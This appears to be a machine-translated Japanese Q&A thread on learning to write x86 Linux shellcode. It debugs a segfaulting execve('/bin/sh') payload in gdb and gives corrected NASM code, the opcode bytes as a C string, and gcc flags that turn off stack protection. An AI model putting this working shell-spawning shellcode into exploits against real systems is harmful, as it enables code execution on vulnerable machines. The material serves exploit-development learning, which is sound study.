web-dev-qa-db-ja.com

x86シェルコードテストプログラムがsegfaultになるのはなぜですか?

私はシェルコードの作成方法を学習しようとしています。私の目標はexecve()を呼び出すことです。私はアセンブリでコードを記述しましたが、完全に機能し、nullバイトまたは絶対アドレス指定メソッドはありません。コードは正常に機能しますが、オペコードをcプログラムにコピーしてテストし、機能するかどうかを確認すると、セグメンテーションエラーが返されます。何が問題ですか?

ASM:

section .text     
global _start
_start:
    jmp xxx

xx:
    mov al,11
    pop ebx
    xor ecx,ecx
    xor edx,edx
    int 0x80
    mov al,1
    xor bl,bl
    int 0x80

section .data
xxx:
    call xx
path db "/bin/sh"

Cコード:

char shellcode[]={"\xb0\x0b\x5b\x31\xc9\x31\xd2\xcd\x80\xb0\x01\x30\xdb\xcd\x80"};

int main(){
    void (*ptr) (void) = &shellcode;
    ptr();
    return 0;
}
7
tropz

シェルコードに複数の問題があるようです。まず、コードをデバッグしましょう。私はあなたのシェルコードを含むCコードをコンパイルし、それをgdbで実行し、最初のシステムコール(int 0x80)まで進みます

[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7 
EBX: 0x5655550c (<main+35>: mov    eax,0x0)
ECX: 0x0 
EDX: 0x0 
ESI: 0xf7f9fe24 --> 0x1d6d2c 
EDI: 0xf7f9fe24 --> 0x1d6d2c 
EBP: 0xffffd9d8 --> 0x0 
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: Push   ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655701a <shellcode+2>:    pop    ebx
   0x5655701b <shellcode+3>:    xor    ecx,ecx
   0x5655701d <shellcode+5>:    xor    edx,edx
=> 0x5655701f <shellcode+7>:    int    0x80
   0x56557021 <shellcode+9>:    mov    al,0x1
   0x56557023 <shellcode+11>:   xor    bl,bl
   0x56557025 <shellcode+13>:   int    0x80
   0x56557027 <shellcode+15>:   add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>:    Push   ebp)
0004| 0xffffd9c4 --> 0x0 
0008| 0xffffd9c8 (")UUV\030pUV$\376\371\367$\376\371\367")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0 
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c 
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c 
0024| 0xffffd9d8 --> 0x0 
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>:   add    esp,0x10)
[------------------------------------------------------------------------------]

ここにいくつかの問題があります:

  • EAXレジスタは0xbに設定されていません。これは、シェルコードがレジスタの値をクリアせず、代わりに命令mov al, 0xbで下位バイトを設定するだけだからです。
  • EBXレジスタは、実行しようとしているファイルでchar*を指している必要があります(通常は"/bin/sh"です)。代わりに、この場合、ランダムなメモリ位置を指します。 main関数。
  • ECXレジスタは、実行する完全なコマンドを示すchar*の配列を指している必要があります。ほとんどのシェルコードでは、これは["/bin/sh", 0]であることがわかりましたが、["/path/to/binary","-argument1",..., 0]などの別のシェルコードを使用することもできます。この場合は、その配列をメモリ内に作成する必要があります。シェルコードでECX0x0に設定されています
  • EDXレジスターは、バイナリーの実行環境を表します。 execve(3)manual ページを見て、それがどのように使用されるかをもう少し理解することができますが、ここでは、NULLの値を入れても問題ありません。

では、どうすれば修正できますか?まず、最初に、アクセスできるメモリ部分の "/ bin/sh\0"文字列をEBXにポイントする必要があります。スタック。そして、それをシェルコードで行う必要があります。次のガジェットでそれを行うことができます:

xor eax, eax //Clear the eax register so we have a null byte to end our string
Push eax
Push "n/sh" //The string needs to be written "backwards"
Push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/sh\0", so we need to move that pointer to ebx

次に、ECXchar*などの["/bin/sh", 0]の配列にポイントする必要があります。その一部はEBXにすでにあるので、シェルコードを続けて次のようにできます。

xor eax, eax 
Push eax
Push "n/sh"
Push "//bi"
mov ebx, esp
Push eax // Remember it's still 0 from our previous xor eax, eax
Push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/sh\0"

最後に、ALレジスタを0xbに設定して、syscallを実行する必要があります。したがって、最終的なシェルコードは次のようになります。

section .text
global _start
_start:
    jmp trampoline

shellcode:
    xor eax, eax
    Push eax
    Push "n/sh"
    Push "//bi"
    mov ebx, esp
    Push eax
    Push ebx
    mov ecx, esp
    mov al,11
    int 0x80

section .data
trampoline:
    call shellcode

Nasm nasm -o shellcode.bin -f elf32 -O0 shellcode.nasmをコンパイルして、オペコードを抽出し、Cコードに入れてテストします。

char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
    (*(void(*)())shellcode)();
    return 0;
}

お好みのコンパイラでコンパイルしてください。私はgcc gcc -o shellcode.o -fno-stack-protector -z execstack -m32 shellcode.cを使用しています。そしてそれを実行します:

$ ./shellcode.o 
sh-4.4$ 
20
Mr. E